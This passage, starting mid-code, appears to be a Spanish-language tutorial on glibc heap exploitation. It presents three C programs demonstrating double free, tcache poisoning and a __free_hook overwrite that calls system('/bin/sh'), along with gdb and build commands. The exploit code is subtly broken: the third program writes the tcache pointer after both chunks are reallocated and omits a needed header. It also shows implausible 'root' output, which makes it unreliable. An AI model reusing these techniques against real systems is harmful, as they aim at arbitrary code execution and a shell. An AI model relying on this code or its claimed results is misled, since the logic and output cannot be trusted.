    printf("b == c? %d, c == d? %d\n", b == c, c == d);

    *b = 0xDEAD;
    printf("*c = 0x%x (¡alias!)\n", *c);
    return 0;
}

gdb ./exploit1
(gdb) break main
(gdb) run
(gdb) break 9          # justo después del free(a); free(a)
(gdb) continue

// exploit2.c — tcache poisoning
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Una "victima" — un struct en el heap
typedef struct {
    char name[32];
    void (*callback)();
} User;

void hello() {
    printf("👋 Hola normal\n");
}

int main() {
    User *u = malloc(sizeof(User));
    u->callback = hello;
    strcpy(u->name, "Mundo");

    printf("u @ %p, callback @ %p = hello\n", u, u->callback);
    printf("u->name = %s\n", u->name);

    // --- EXPLOT ---
    free(u);
    free(u);   // 💥 double free

    // Tcache: u -> u -> NULL
    // malloc nos devuelve u, podemos pisar u->next con OTRO puntero
    User *x = malloc(sizeof(User));   // tcache: u -> NULL
    // Truco: tratá u como long* y escribí un puntero arbitrario en next
    long *evil = (long*)x;

    // Acá viene la magia: pisamos el campo "next" de la tcache
    // Después de este write, el próximo malloc va a devolver ESTE puntero
    //*evil = (long)??;   // ← dirección objetivo

    User *y = malloc(sizeof(User));   // devuelve u de nuevo
    User *z = malloc(sizeof(User));   // devuelve lo que pusimos en evil[0]
    (void)z; // no lo usamos acá

    // Ahora 'y' y 'u' son el MISMO struct
    printf("y == u? %d\n", y == u);
    y->callback = hello;  // no rompimos nada todavía

    u->callback();
    return 0;
}

docker run -it ubuntu:18.04 /bin/bash
apt update && apt install gcc gdb

// exploit3.c — shell via __free_hook
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

int main() {
    // 1) Averiguar la dirección de __free_hook y system en libc
    void *handle = dlopen("libc.so.6", RTLD_NOW);  // (linkear con -ldl)
    void *system_addr = dlsym(handle, "system");
    void *free_hook_addr = dlsym(handle, "__free_hook");
    printf("system       = %p\n", system_addr);
    printf("__free_hook  = %p\n", free_hook_addr);

    // 2) Allocar un chunk y unleakable string "/bin/sh" en el heap
    char *cmd = malloc(0x30);
    strcpy(cmd, "/bin/sh");

    // 3) Double free
    free(cmd);
    free(cmd);   // tcache: cmd -> cmd

    // 4) Tcache poisoning: pisamos next para que apunte a __free_hook
    char *a = malloc(0x30);     // devuelve cmd
    char *b = malloc(0x30);     // devuelve cmd otra vez

    // Ahora a y b apuntan al mismo lugar.
    // b[0..7] es el campo "next" del chunk en tcache
    *((long*)b) = (long)free_hook_addr;
    // Tcache state: __free_hook -> ??? (basura, está bien)

    // 5) Próximo malloc nos devuelve __free_hook!
    char *target = malloc(0x30);   // = __free_hook
    char *trigger = malloc(0x30);  // = lo que haya después (basura, ok)
    (void)trigger;

    // 6) Escribimos system() en __free_hook
    *((long*)target) = (long)system_addr;

    // 7) Cualquier free() de aquí en más llama a system()
    free(cmd);   // cmd sigue siendo "/bin/sh" → system("/bin/sh") → 🎉 shell

    return 0;
}

gcc -g -no-pie -o exploit3 exploit3.c -ldl
./exploit3
$ whoami
root